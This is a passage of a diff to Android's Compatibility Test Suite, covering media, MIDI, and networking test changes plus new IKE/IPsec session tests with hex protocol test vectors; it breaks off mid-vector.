-        boolean status = testEncodePersistentSurface(mResourceVideo360p, MIME_VP8, 640, 360);
-        assertTrue("native encode error", status);
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/RouteDiscoveryPreferenceTest.java b/tests/tests/media/src/android/media/cts/RouteDiscoveryPreferenceTest.java
index 1632ab6..2891d4a 100644
--- a/tests/tests/media/src/android/media/cts/RouteDiscoveryPreferenceTest.java
+++ b/tests/tests/media/src/android/media/cts/RouteDiscoveryPreferenceTest.java
@@ -36,6 +36,7 @@
 
 @RunWith(AndroidJUnit4.class)
 @SmallTest
+@NonMediaMainlineTest
 public class RouteDiscoveryPreferenceTest {
 
     private static final String TEST_FEATURE_1 = "TEST_FEATURE_1";
diff --git a/tests/tests/media/src/android/media/cts/RoutingSessionInfoTest.java b/tests/tests/media/src/android/media/cts/RoutingSessionInfoTest.java
index efa21d4..3ff5e24 100644
--- a/tests/tests/media/src/android/media/cts/RoutingSessionInfoTest.java
+++ b/tests/tests/media/src/android/media/cts/RoutingSessionInfoTest.java
@@ -39,6 +39,7 @@
  */
 @RunWith(AndroidJUnit4.class)
 @SmallTest
+@NonMediaMainlineTest
 public class RoutingSessionInfoTest {
     public static final String TEST_ID = "test_id";
     public static final String TEST_CLIENT_PACKAGE_NAME = "com.test.client.package.name";
diff --git a/tests/tests/media/src/android/media/cts/SurfaceEncodeTimestampTest.java b/tests/tests/media/src/android/media/cts/SurfaceEncodeTimestampTest.java
index 097fe69..f15bb6e 100644
--- a/tests/tests/media/src/android/media/cts/SurfaceEncodeTimestampTest.java
+++ b/tests/tests/media/src/android/media/cts/SurfaceEncodeTimestampTest.java
@@ -27,6 +27,7 @@
 import android.media.MediaCodecInfo.CodecCapabilities;
 import android.media.MediaFormat;
 import android.opengl.GLES20;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.HandlerThread;
@@ -38,6 +39,7 @@
 import android.util.Log;
 
 import androidx.test.filters.SmallTest;
+import androidx.test.filters.SdkSuppress;
 
 import java.util.Arrays;
 import java.util.concurrent.CountDownLatch;
@@ -153,6 +155,7 @@
      * compress) the output timestamp so that the output fps becomes that specified
      * by  KEY_FRAME_RATE.
      */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
     public void testCaptureFps() throws Throwable {
         // test slow motion
         testCaptureFps(120, false /*useFloatKey*/);
diff --git a/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java b/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java
index 82c8b18..7ba3541 100644
--- a/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java
+++ b/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java
@@ -832,8 +832,9 @@
             if (out.outputGenerated) {
                 if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
                     Log.d(TAG, "Storing codec config separately");
-                    mCodecConfigs.add(
-                            ByteBuffer.allocate(out.buffer.length).put(out.buffer));
+                    ByteBuffer csdBuffer = ByteBuffer.allocate(out.buffer.length).put(out.buffer);
+                    csdBuffer.rewind();
+                    mCodecConfigs.add(csdBuffer);
                     out.buffer = new byte[0];
                 }
                 if (out.buffer.length > 0) {
@@ -1480,8 +1481,9 @@
                 }
                 if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
                     Log.d(TAG, "Storing codec config separately");
-                    codecConfigs.add(
-                            ByteBuffer.allocate(out.buffer.length).put(out.buffer));
+                    ByteBuffer csdBuffer = ByteBuffer.allocate(out.buffer.length).put(out.buffer);
+                    csdBuffer.rewind();
+                    codecConfigs.add(csdBuffer);
                     out.buffer = new byte[0];
                 }
 
@@ -1786,8 +1788,9 @@
                     }
                     if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
                         Log.d(TAG, "----Enc" + i + ". Storing codec config separately");
-                        codecConfigs.get(i).add(
-                                ByteBuffer.allocate(out.buffer.length).put(out.buffer));
+                        ByteBuffer csdBuffer = ByteBuffer.allocate(out.buffer.length).put(out.buffer);
+                        csdBuffer.rewind();
+                        codecConfigs.get(i).add(csdBuffer);
                         out.buffer = new byte[0];
                     }
 
diff --git a/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java b/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java
index f006990..a545b09 100644
--- a/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java
+++ b/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java
@@ -97,8 +97,12 @@
         String systemBrand = getProperty("ro.product.system.brand");
         String systemModel = getProperty("ro.product.system.model");
         String systemProduct = getProperty("ro.product.system.name");
-        if (("Android".equals(systemBrand) || "generic".equals(systemBrand)) &&
-            (systemModel.startsWith("AOSP on ") || systemProduct.startsWith("aosp_"))) {
+        // not all devices may have a system_ext partition
+        String systemExtProduct = getProperty("ro.product.system_ext.name");
+        if (("Android".equals(systemBrand) || "generic".equals(systemBrand) ||
+                "mainline".equals(systemBrand)) &&
+            (systemModel.startsWith("AOSP on ") || systemProduct.startsWith("aosp_")
+                || systemExtProduct.startsWith("aosp_"))) {
             return true;
         }
         return false;
diff --git a/tests/tests/mediaparser/Android.bp b/tests/tests/mediaparser/Android.bp
index 3a65698..6a13d24 100644
--- a/tests/tests/mediaparser/Android.bp
+++ b/tests/tests/mediaparser/Android.bp
@@ -23,6 +23,7 @@
     ],
     srcs: ["src/**/*.java"],
     sdk_version: "test_current",
+    min_sdk_version: "29",
     libs: [
         "android.test.base.stubs",
         "android.test.runner.stubs",
diff --git a/tests/tests/mediaparser/AndroidTest.xml b/tests/tests/mediaparser/AndroidTest.xml
index 1f28389..f3d66cd 100644
--- a/tests/tests/mediaparser/AndroidTest.xml
+++ b/tests/tests/mediaparser/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaParserTestCases.apk" />
diff --git a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
index 7df46ea..40ddad9 100644
--- a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
+++ b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
@@ -448,7 +448,15 @@
 
     @Test
     public void testTsBigBuckBunny() throws IOException {
-        testAssetExtraction("ts/bbb_2500ms.ts");
+        // This file is too big to run a full extraction with multiple seeks like other tests do.
+        MockMediaParserOutputConsumer outputConsumer = new MockMediaParserOutputConsumer();
+        MockMediaParserInputReader inputReader = getInputReader("ts/bbb_2500ms.ts");
+        MediaParser mediaParser = MediaParser.create(outputConsumer);
+        advanceUntilSample(outputConsumer, inputReader, mediaParser, /* sampleNumber= */ 100);
+        assertThat(outputConsumer.getSeekMap().getDurationMicros()).isEqualTo(2_500_000);
+        mediaParser.seek(MediaParser.SeekPoint.START);
+        inputReader.setPosition(0);
+        advanceUntilSample(outputConsumer, inputReader, mediaParser, /* sampleNumber= */ 101);
     }
 
     @Test
diff --git a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MockMediaParserOutputConsumer.java b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MockMediaParserOutputConsumer.java
index ff7c677..2f5b8f9 100644
--- a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MockMediaParserOutputConsumer.java
+++ b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MockMediaParserOutputConsumer.java
@@ -83,7 +83,10 @@
 
                     @Override
                     public long getDurationUs() {
-                        return seekMap.getDurationMicros();
+                        long durationUs = seekMap.getDurationMicros();
+                        return durationUs != MediaParser.SeekMap.UNKNOWN_DURATION
+                                ? durationUs
+                                : C.TIME_UNSET;
                     }
 
                     @Override
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
index 79cd3f6..4d9194f 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
@@ -274,8 +274,14 @@
 
         AAudioStreamBuilder_setUsage(aaudioBuilder, systemUsage);
 
-        // Get failed status when trying to create an AAudioStream using the Builder.
-        ASSERT_EQ(AAUDIO_ERROR_ILLEGAL_ARGUMENT, AAudioStreamBuilder_openStream(aaudioBuilder, &aaudioStream));
+        aaudio_result_t result = AAudioStreamBuilder_openStream(aaudioBuilder, &aaudioStream);
+
+        // Get failed status when trying to create an AAudioStream using the Builder. There are two
+        // potential failures: one if the device doesn't support the system usage, and the  other
+        // if it does but this test doesn't have the MODIFY_AUDIO_ROUTING permission required to
+        // use it.
+        ASSERT_TRUE(result == AAUDIO_ERROR_ILLEGAL_ARGUMENT
+                || result == AAUDIO_ERROR_INTERNAL);
         AAudioStreamBuilder_delete(aaudioBuilder);
     }
 }
diff --git a/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java b/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
index 32e46ac..62cc8a1 100644
--- a/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
+++ b/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
@@ -218,7 +218,6 @@
     @Before
     public void setUp() throws Exception {
         if (!hasMidiSupport()) {
-            Assert.assertTrue("FEATURE_MIDI Not Supported.", false);
             return; // Not supported so don't test it.
         }
 
@@ -231,7 +230,6 @@
     @After
     public void tearDown() throws Exception {
         if (!hasMidiSupport()) {
-            Assert.assertTrue("FEATURE_MIDI Not Supported.", false);
             return; // Not supported so don't test it.
         }
         tearDownEchoServer();
@@ -256,6 +254,9 @@
 
     @Test
     public void test_AA_LibAMidiExists() throws Exception {
+        if (!hasMidiSupport()) {
+            return;
+        }
         Assert.assertTrue("libamidi.so not found.", hasLibAMidi());
     }
 
@@ -274,7 +275,6 @@
         long timestamp = 0x0123765489ABFEDCL;
         writeMidi(mTestContext, buffer, 0, buffer.length);
 
-        Assert.assertTrue("Didn't get 1 send", getNumBytesSent(mTestContext) == buffer.length);
         Assert.assertEquals("Didn't get right number of bytes sent",
                 buffer.length, getNumBytesSent(mTestContext));
     }
diff --git a/tests/tests/net/Android.bp b/tests/tests/net/Android.bp
index 93a6d91..112799b 100644
--- a/tests/tests/net/Android.bp
+++ b/tests/tests/net/Android.bp
@@ -36,18 +36,20 @@
         "src/**/*.java",
         "src/**/*.kt",
     ],
-
+    jarjar_rules: "jarjar-rules-shared.txt",
     static_libs: [
         "FrameworksNetCommonTests",
-        "core-tests-support",
+        "TestNetworkStackLib",
         "compatibility-device-util-axt",
+        "core-tests-support",
         "cts-net-utils",
         "ctstestrunner-axt",
         "ctstestserver",
-        "mockwebserver",
         "junit",
         "junit-params",
         "libnanohttpd",
+        "mockwebserver",
+        "net-utils-framework-common",
         "truth-prebuilt",
     ],
 
@@ -71,16 +73,17 @@
     test_config_template: "AndroidTestTemplate.xml",
 }
 
-// Networking CTS tests that have a min_sdk_version of the latest released SDK. These tests can
-// be installed on release devices at any point in the release cycle and are useful for qualifying
-// mainline modules on release devices.
+// Networking CTS tests that target the latest released SDK. These tests can be installed on release
+// devices at any point in the Android release cycle and are useful for qualifying mainline modules
+// on release devices.
 android_test {
     name: "CtsNetTestCasesLatestSdk",
     defaults: ["CtsNetTestCasesDefaults"],
     jni_uses_sdk_apis: true,
     min_sdk_version: "29",
-    target_sdk_version: "29",
+    target_sdk_version: "30",
     test_suites: [
+        "device-tests",
         "mts",
     ],
     test_config_template: "AndroidTestTemplate.xml",
diff --git a/tests/tests/net/TEST_MAPPING b/tests/tests/net/TEST_MAPPING
new file mode 100644
index 0000000..e2a9c75
--- /dev/null
+++ b/tests/tests/net/TEST_MAPPING
@@ -0,0 +1,13 @@
+{
+  // TODO: move to mainline-presubmit once supported
+  "postsubmit": [
+    {
+      "name": "CtsNetTestCasesLatestSdk",
+      "options": [
+        {
+          "exclude-annotation": "com.android.testutils.SkipPresubmit"
+        }
+      ]
+    }
+  ]
+}
diff --git a/tests/tests/net/api23Test/AndroidManifest.xml b/tests/tests/net/api23Test/AndroidManifest.xml
index 8af87f6..4889660 100644
--- a/tests/tests/net/api23Test/AndroidManifest.xml
+++ b/tests/tests/net/api23Test/AndroidManifest.xml
@@ -18,8 +18,11 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.net.cts.api23test">
 
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
     <uses-permission android:name="android.permission.INTERNET" />
 
     <application android:usesCleartextTraffic="true">
diff --git a/tests/tests/net/ipsec/AndroidTest.xml b/tests/tests/net/ipsec/AndroidTest.xml
index 09e5c93..cd5c118 100644
--- a/tests/tests/net/ipsec/AndroidTest.xml
+++ b/tests/tests/net/ipsec/AndroidTest.xml
@@ -27,4 +27,7 @@
         <option name="package" value="android.net.ipsec.cts" />
         <option name="hidden-api-checks" value="false" />
     </test>
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="com.google.android.ipsec" />
+    </object>
 </configuration>
diff --git a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionDigitalSignatureTest.java b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionDigitalSignatureTest.java
new file mode 100644
index 0000000..9be1dc7
--- /dev/null
+++ b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionDigitalSignatureTest.java
@@ -0,0 +1,211 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.ipsec.ike.cts;
+
+import android.net.InetAddresses;
+import android.net.LinkAddress;
+import android.net.ipsec.ike.IkeDerAsn1DnIdentification;
+import android.net.ipsec.ike.IkeSession;
+import android.net.ipsec.ike.IkeSessionParams;
+import android.net.ipsec.ike.IkeTrafficSelector;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.internal.net.ipsec.ike.testutils.CertUtils;
+
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.net.InetAddress;
+import java.security.cert.X509Certificate;
+import java.security.interfaces.RSAPrivateKey;
+import java.util.ArrayList;
+import java.util.Arrays;
+
+import javax.security.auth.x500.X500Principal;
+
+/**
+ * Explicitly test setting up transport mode Child SA so that devices do not have
+ * FEATURE_IPSEC_TUNNELS will be test covered. Tunnel mode Child SA setup has been tested in
+ * IkeSessionPskTest and authentication method is orthogonal to Child mode.
+ */
+@RunWith(AndroidJUnit4.class)
+public class IkeSessionDigitalSignatureTest extends IkeSessionTestBase {
+    private static final int EXPECTED_AUTH_REQ_FRAG_COUNT = 3;
+
+    private static final String IKE_INIT_RESP =
+            "46B8ECA1E0D72A18BF3FA1C2CB1EE86F21202220000000000000015022000030"
+                    + "0000002C010100040300000C0100000C800E0100030000080300000503000008"
+                    + "0200000400000008040000022800008800020000328451C8A976CE69E407966A"
+                    + "50D7320C4197A15A07267CE1B16BAFF9BDBBDEC1FDCDAAF7175ADF9AA8DB55DB"
+                    + "2D70C012D01D914C4EDEF6E8B226868EA1D01B2ED0C4C5C86E6BFE566010EC0C"
+                    + "33BA1C93666430B88BDA0470D82CC4F4416F49E3E361E3017C9F27811A66718B"
+                    + "389E1800915D776D59AA528A7E1D1B7815D35144290000249FE8FABE7F43D917"
+                    + "CE370DE2FD9C22BBC082951AC26C1BA26DE795470F2C25BC2900001C00004004"
+                    + "AE388EC86D6D1A470D44142D01AB2E85A7AC14182900001C0000400544A235A4"
+                    + "171C884286B170F48FFC181DB428D87D290000080000402E290000100000402F"
+                    + "00020003000400050000000800004014";
+    private static final String IKE_AUTH_RESP_FRAG_1 =
+            "46B8ECA1E0D72A18BF3FA1C2CB1EE86F3520232000000001000004E0240004C4"
+                    + "00010002DF6750A2D1D5675006F9F6230BB886FFD20CFB973FD04963CFD7A528"
+                    + "560598C58CC44178B2FCBBBBB271387AC81A664B7E7F1055B912F8C686E287C9"
+                    + "D31684C66339151AB86DA3CF1DA664052FA97687634558A1E9E6B37E16A86BD1"
+                    + "68D76DA5E2E1E0B7E98EB662D80D542307015D2BF134EBBBE425D6954FE8C2C4"
+                    + "D31D16C16AA0521C3C481F873ECF25BB8B05AC6083775C1821CAAB1E35A3955D"
+                    + "85ACC599574142E1DD5B262D6E5365CBF6EBE92FFCC16BC29EC3239456F3B202"
+                    + "492551C0F6D752ADCCA56D506D50CC8809EF6BC56EAD005586F7168F76445FD3"
+                    + "1366CC62D32C0C19B28210B8F813F97CD6A447C3857EFD6EC483DDA8ACD9870E"
+                    + "5A21B9C66F0FA44496C0C3D05E8859A1A4CFC88155D0C411BABC13033DD41FA4"
+                    + "AF08CE7734A146687F374F95634D1F26843203CA1FFD05CA3EB150CEA02FBF14"
+                    + "712B7A1C9BC7616A086E7FCA059E7D64EFF98DB895B32F8F7002762AF7D12F23"
+                    + "31E9DD25174C4CE273E5392BBB48F50B7A3E0187181216265F6A4FC7B91BE0AB"
+                    + "C601A580149D4B07411AE99DDB1944B977E86ADC9746605C60A92B569EEFAFFC"
+                    + "3A888D187B75D8F13249689FC28EBCD62B5E03AF171F3A561F0DEA3B1A75F531"
+                    + "971157DCE1E7BC6E7789FF3E8156015BC9C521EFE48996B41471D33BF09864E4"
+                    + "2436E8D7EB6218CDE7716DA754A924B123A63E25585BF27F4AC043A0C4AECE38"
+                    + "BB59DD62F5C0EC657206A76CED1BD26262237DA1CA6815435992A825758DEBEC"
+                    + "DDF598A22B8242AC4E34E70704DBA7B7B73DC3E067C1C98764F8791F84C99156"
+                    + "947D1FFC875F36FCE24B89369C1B5BF1D4C999DCA28E72A528D0E0163C66C067"
+                    + "E71B5E0025C13DA93313942F9EDA230B3ADC254821A4CB1A5DC9D0C5F4DC4E8E"
+                    + "CE46B7B8C72D3C5923C9B30DF1EF7B4EDEDA8BD05C86CA0162AE1BF8F277878E"
+                    + "607401BAA8F06E3EA873FA4C137324C4E0699277CDF649FE7F0F01945EE25FA7"
+                    + "0E4A89737E58185B11B4CB52FD5B0497D3E3CD1CEE7B1FBB3E969DB6F4C324A1"
+                    + "32DC6A0EA21F41332435FD99140C286F8ABBBA926953ADBEED17D30AAD953909"
+                    + "1347EF6D87163D6B1FF32D8B11FFB2E69FAEE7FE913D3826FBA7F9D11E0E3C57"
+                    + "27625B37D213710B5DD8965DAEFD3F491E8C029E2BF361039949BADEC31D60AC"
+                    + "355F26EE41339C03CC9D9B01C3C7F288F0E9D6DFEE78231BDA9AC10FED135913"
+                    + "2836B1A17CE060742B7E5B738A7177CCD59F70337BA251409C377A0FA5333204"
+                    + "D8622BA8C06DE0BEF4F32B6D4D77BE9DE977445D8A2A08C5C38341CB7974FBFB"
+                    + "22C8F983A7D6CEF068DDB2281E6673453521C831C1826861005AE5F37649BC64"
+                    + "0A6360B23284861441A440F1C5AADE1AB53CA63DB17F4C314D493C4C44DE5F20"
+                    + "75E084D080F92791F30BDD88373D50AB5A07BC72B0E7FFFA593103964E55603E"
+                    + "F7FEB7CA0762A1A7B86B6CCAD88CD6CBC7C6935D21F5F06B2700588A2530E619"
+                    + "DA1648AC809F3DDF56ACE5951737568FFEC7E2AB1AA0AE01B03A7F5A29CE73C0"
+                    + "5D2801B17CAAD0121082E9952FAB16BA1C386336C62D4CF3A5019CF61609433E"
+                    + "1C083237D47C4CF575097F7BF9000EF6B6C497A44E6480154A35669AD276BF05"
+                    + "6CC730B4E5962B6AF96CC6D236AE85CEFDA6877173F72D2F614F6696D1F9DF07"
+                    + "E107758B0978F69BC9DBE0CCBF252C40A3FDF7CE9104D3344F7B73593CCD73E0";
+    private static final String IKE_AUTH_RESP_FRAG_2 =
+            "46B8ECA1E0D72A18BF3FA1C2CB1EE86F3520232000000001000000F0000000D4"
+                    + "00020002155211EA41B37BC5F20568A6AE57038EEE208F94F9B444004F1EF391"
+                    + "2CABFCF857B9CD95FAAA9489ED10A3F5C93510820E22E23FC55ED8049E067D72"
+                    + "3645C00E1E08611916CE72D7F0A84123B63A8F3B9E78DBBE39967B7BB074AF4D"
+                    + "BF2178D991EDBDD01908A14A266D09236DB963B14AC33D894F0F83A580209EFD"
+                    + "61875BB56273AA336C22D6A4D890B93E0D42435667830CC32E4F608500E18569"
+                    + "3E6C1D88C0B5AE427333C86468E3474DAA4D1506AAB2A4021309A33DD759D0D0"
+                    + "A8C98BF7FBEA8109361A9F194D0FD756";
+    private static final String DELETE_IKE_RESP =
+            "46B8ECA1E0D72A18BF3FA1C2CB1EE86F2E202520000000020000004C00000030"
+                    + "342842D8DA37C8EFB92ED37C4FBB23CBDC90445137D6A0AF489F9F03641DBA9D"
+                    + "02F6F59FD8A7A78C7261CEB8";
+
+    // Using IPv4 for transport mode Child SA. IPv6 is currently infeasible because the IKE server
+    // that generates the test vectors is running in an IPv4 only network.
+    private static final IkeTrafficSelector TRANSPORT_MODE_INBOUND_TS =
+            new IkeTrafficSelector(
+                    MIN_PORT,
+                    MAX_PORT,
+                    InetAddresses.parseNumericAddress("172.58.35.103"),
+                    InetAddresses.parseNumericAddress("172.58.35.103"));
+
+    // TODO(b/157510502): Add test for IKE Session setup with transport mode Child in IPv6 network
+
+    private static final String LOCAL_ID_ASN1_DN =
+            "CN=client.test.ike.android.net, O=Android, C=US";
+    private static final String REMOTE_ID_ASN1_DN =
+            "CN=server.test.ike.android.net, O=Android, C=US";
+
+    private static X509Certificate sServerCaCert;
+    private static X509Certificate sClientEndCert;
+    private static X509Certificate sClientIntermediateCaCertOne;
+    private static X509Certificate sClientIntermediateCaCertTwo;
+    private static RSAPrivateKey sClientPrivateKey;
+
+    @BeforeClass
+    public static void setUpCertsBeforeClass() throws Exception {
+        sServerCaCert = CertUtils.createCertFromPemFile("server-a-self-signed-ca.pem");
+        sClientEndCert = CertUtils.createCertFromPemFile("client-a-end-cert.pem");
+        sClientIntermediateCaCertOne =
+                CertUtils.createCertFromPemFile("client-a-intermediate-ca-one.pem");
+        sClientIntermediateCaCertTwo =
+                CertUtils.createCertFromPemFile("client-a-intermediate-ca-two.pem");
+        sClientPrivateKey = CertUtils.createRsaPrivateKeyFromKeyFile("client-a-private-key.key");
+    }
+
+    private IkeSession openIkeSessionWithRemoteAddress(InetAddress remoteAddress) {
+        IkeSessionParams ikeParams =
+                new IkeSessionParams.Builder(sContext)
+                        .setNetwork(mTunNetwork)
+                        .setServerHostname(remoteAddress.getHostAddress())
+                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithNormalModeCipher())
+                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithCombinedModeCipher())
+                        .setLocalIdentification(
+                                new IkeDerAsn1DnIdentification(new X500Principal(LOCAL_ID_ASN1_DN)))
+                        .setRemoteIdentification(
+                                new IkeDerAsn1DnIdentification(
+                                        new X500Principal(REMOTE_ID_ASN1_DN)))
+                        .setAuthDigitalSignature(
+                                sServerCaCert,
+                                sClientEndCert,
+                                Arrays.asList(
+                                        sClientIntermediateCaCertOne, sClientIntermediateCaCertTwo),
+                                sClientPrivateKey)
+                        .build();
+
+        return new IkeSession(
+                sContext,
+                ikeParams,
+                buildTransportModeChildParamsWithTs(
+                        TRANSPORT_MODE_INBOUND_TS, TRANSPORT_MODE_OUTBOUND_TS),
+                mUserCbExecutor,
+                mIkeSessionCallback,
+                mFirstChildSessionCallback);
+    }
+
+    @Test
+    public void testIkeSessionSetupAndChildSessionSetupWithTransportMode() throws Exception {
+        // Open IKE Session
+        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
+        performSetupIkeAndFirstChildBlocking(
+                IKE_INIT_RESP,
+                EXPECTED_AUTH_REQ_FRAG_COUNT /* expectedReqPktCnt */,
+                true /* expectedAuthUseEncap */,
+                IKE_AUTH_RESP_FRAG_1,
+                IKE_AUTH_RESP_FRAG_2);
+
+        // IKE INIT and IKE AUTH takes two exchanges. Message ID starts from 2
+        int expectedMsgId = 2;
+
+        verifyIkeSessionSetupBlocking();
+        verifyChildSessionSetupBlocking(
+                mFirstChildSessionCallback,
+                Arrays.asList(TRANSPORT_MODE_INBOUND_TS),
+                Arrays.asList(TRANSPORT_MODE_OUTBOUND_TS),
+                new ArrayList<LinkAddress>());
+        IpSecTransformCallRecord firstTransformRecordA =
+                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
+        IpSecTransformCallRecord firstTransformRecordB =
+                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
+        verifyCreateIpSecTransformPair(firstTransformRecordA, firstTransformRecordB);
+
+        // Close IKE Session
+        ikeSession.close();
+        performCloseIkeBlocking(expectedMsgId++, DELETE_IKE_RESP);
+        verifyCloseIkeAndChildBlocking(firstTransformRecordA, firstTransformRecordB);
+    }
+}
diff --git a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionMschapV2Test.java b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionMschapV2Test.java
new file mode 100644
index 0000000..cb77127
--- /dev/null
+++ b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionMschapV2Test.java
@@ -0,0 +1,220 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.ipsec.ike.cts;
+
+import android.net.InetAddresses;
+import android.net.LinkAddress;
+import android.net.eap.EapSessionConfig;
+import android.net.ipsec.ike.IkeFqdnIdentification;
+import android.net.ipsec.ike.IkeSession;
+import android.net.ipsec.ike.IkeSessionParams;
+import android.net.ipsec.ike.IkeTrafficSelector;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.internal.net.ipsec.ike.testutils.CertUtils;
+
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.net.InetAddress;
+import java.security.cert.X509Certificate;
+import java.util.ArrayList;
+import java.util.Arrays;
+
+/**
+ * Explicitly test setting up transport mode Child SA so that devices do not have
+ * FEATURE_IPSEC_TUNNELS will be test covered. Tunnel mode Child SA setup has been tested in
+ * IkeSessionPskTest and authentication method is orthogonal to Child mode.
+ */
+@RunWith(AndroidJUnit4.class)
+public class IkeSessionMschapV2Test extends IkeSessionTestBase {
+    private static final String IKE_INIT_RESP =
+            "46B8ECA1E0D72A1873F643FF94D249A921202220000000000000015022000030"
+                    + "0000002C010100040300000C0100000C800E0080030000080300000203000008"
+                    + "0200000200000008040000022800008800020000CC6E71E67E32CED6BCE33FBD"
+                    + "A74113867E3FA3AE21C7C9AB44A7F8835DF602BFD6F6528B67FEE39821232380"
+                    + "C99E8FFC0A5D767F8F38906DA41946C2299DF18C15FA69BAC08D3EDB32E8C8CA"
+                    + "28431831561C04CB0CDE393F817151CD8DAF7A311838411F1C39BFDB5EBCF6A6"
+                    + "1DF66DEB067362649D64607D599B56C4227819D0290000241197004CF31AD00F"
+                    + "5E0C92E198488D8A2B6F6A25C82762AA49F565BCE9D857D72900001C00004004"
+                    + "A0D98FEABBFB92A6C0976EE83D2AACFCCF969A6B2900001C0000400575EBF73F"
+                    + "8EE5CC73917DE9D3F91FCD4A16A0444D290000080000402E290000100000402F"
+                    + "00020003000400050000000800004014";
+    private static final String IKE_AUTH_RESP_1_FRAG_1 =
+            "46B8ECA1E0D72A1873F643FF94D249A93520232000000001000004E0240004C4"
+                    + "00010002C4159CB756773B3F1911F4595107BC505D7A28C72F05182966076679"
+                    + "CA68ED92E4BC5CD441C9CB315F2F449A8A521CAFED3C5F285E295FC3791D3415"
+                    + "E3BACF66A08410DF4E35F7D88FE40DA28851C91C77A6549E186AC1B7846DF3FA"
+                    + "0A347A5ABBCAEE19E70F0EE5966DC6242A115F29523709302EDAD2E36C8F0395"
+                    + "CF5C42EC2D2898ECDD8A6AEDD686A70B589A981558667647F32F41E0D8913E94"
+                    + "A6693F53E59EA8938037F562CF1DC5E6E2CDC630B5FFB08949E3172249422F7D"
+                    + "EA069F9BAD5F96E48BADC7164A9269669AD0DF295A80C54D1D23CEA3F28AC485"
+                    + "86D2A9850DA23823037AB7D1577B7B2364C92C36B84238357129EB4A64D33310"
